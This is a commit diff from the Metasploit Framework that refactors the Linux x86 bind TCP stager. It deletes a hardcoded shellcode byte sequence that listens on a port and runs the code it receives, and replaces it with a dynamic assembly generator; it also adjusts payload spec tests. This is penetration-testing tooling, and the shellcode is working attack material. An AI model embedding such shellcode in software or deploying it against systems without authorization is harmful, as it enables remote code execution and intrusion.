Skip to content

Commit 60e2517

Browse files
committed
Land rapid7#5313 : fixup bind_tcp stager
2 parents 7373576 + 5a8b6e9 commit 60e2517

File tree

3 files changed

+13
-72
lines changed

3 files changed

+13
-72
lines changed

lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,7 +55,7 @@ def generate_bind_tcp(opts={})
5555
#
5656
def required_space
5757
# Start with our cached default generated size
58-
space = cached_size
58+
space = 104
5959

6060
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
6161
space += 14
@@ -119,6 +119,7 @@ def asm_bind_tcp(opts={})
119119
int 0x80
120120
xchg eax,edi ; restore the socket handle
121121
add esp, 0x14
122+
pop ecx
122123
^
123124
end
124125

modules/payloads/stagers/linux/x86/bind_tcp.rb

Lines changed: 9 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -6,86 +6,26 @@
66

77
require 'msf/core'
88
require 'msf/core/handler/bind_tcp'
9+
require 'msf/core/payload/linux/bind_tcp'
910

11+
module Metasploit4
1012

11-
###
12-
#
13-
# BindTcp
14-
# -------
15-
#
16-
# Linux bind TCP stager.
17-
#
18-
###
19-
module Metasploit3
20-
21-
CachedSize = 79
13+
CachedSize = :dynamic
2214

2315
include Msf::Payload::Stager
24-
include Msf::Payload::Linux
16+
include Msf::Payload::Linux::BindTcp
2517

2618
def initialize(info = {})
2719
super(merge_info(info,
28-
'Name' => 'Bind TCP Stager',
29-
'Description' => 'Listen for a connection',
30-
'Author' => [
31-
'skape', # original
32-
'egypt', # NX support
33-
],
20+
'Name' => 'Bind TCP Stager (Linux x86)',
21+
'Description' => 'Listen for a connection (Linux x86)',
22+
'Author' => [ 'skape', 'egypt', ],
3423
'License' => MSF_LICENSE,
3524
'Platform' => 'linux',
3625
'Arch' => ARCH_X86,
3726
'Handler' => Msf::Handler::BindTcp,
38-
'Stager' =>
39-
{
40-
'Offsets' =>
41-
{
42-
'LPORT' => [ 0x29, 'n' ],
43-
},
44-
'Payload' =>
45-
46-
"\x6a\x7d" +# push byte +0x7d
47-
"\x58" +# pop eax
48-
"\x99" +# cdq
49-
"\xb2\x07" +# mov dl,0x7
50-
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
51-
"\x89\xe3" +# mov ebx,esp
52-
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
53-
"\xcd\x80" +# int 0x80
54-
"\x31\xdb" +# xor ebx,ebx
55-
"\xf7\xe3" +# mul ebx
56-
"\x53" +# push ebx
57-
"\x43" +# inc ebx
58-
"\x53" +# push ebx
59-
"\x6a\x02" +# push byte +0x2
60-
"\x89\xe1" +# mov ecx,esp
61-
"\xb0\x66" +# mov al,0x66
62-
"\xcd\x80" +# int 0x80
63-
"\x5b" +# pop ebx
64-
"\x5e" +# pop esi
65-
"\x52" +# push edx
66-
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
67-
"\x6a\x10" +# push byte +0x10
68-
"\x51" +# push ecx
69-
"\x50" +# push eax
70-
"\x89\xe1" +# mov ecx,esp
71-
"\x6a\x66" +# push byte +0x66
72-
"\x58" +# pop eax
73-
"\xcd\x80" +# int 0x80
74-
"\xd1\xe3" +# shl ebx,1
75-
"\xb0\x66" +# mov al,0x66
76-
"\xcd\x80" +# int 0x80
77-
"\x43" +# inc ebx
78-
"\xb0\x66" +# mov al,0x66
79-
"\x89\x51\x04" +# mov [ecx+0x4],edx
80-
"\xcd\x80" +# int 0x80
81-
"\x93" +# xchg eax,ebx
82-
"\xb6\x0c" +# mov dh,0xc
83-
"\xb0\x03" +# mov al,0x3
84-
"\xcd\x80" +# int 0x80
85-
"\x89\xdf" +# mov edi,ebx
86-
"\xff\xe1" # jmp ecx
87-
88-
}
27+
'Convention' => 'sockedi',
28+
'Stager' => { 'RequiresMidstager' => true }
8929
))
9030
end
9131

spec/modules/payloads_spec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1348,7 +1348,7 @@
13481348
'stagers/linux/x86/bind_tcp',
13491349
'stages/linux/x86/meterpreter'
13501350
],
1351-
dynamic_size: false,
1351+
dynamic_size: true,
13521352
modules_pathname: modules_pathname,
13531353
reference_name: 'linux/x86/meterpreter/bind_tcp'
13541354
end
@@ -1455,7 +1455,7 @@
14551455
'stagers/linux/x86/bind_tcp',
14561456
'stages/linux/x86/shell'
14571457
],
1458-
dynamic_size: false,
1458+
dynamic_size: true,
14591459
modules_pathname: modules_pathname,
14601460
reference_name: 'linux/x86/shell/bind_tcp'
14611461
end

0 commit comments

Comments
 (0)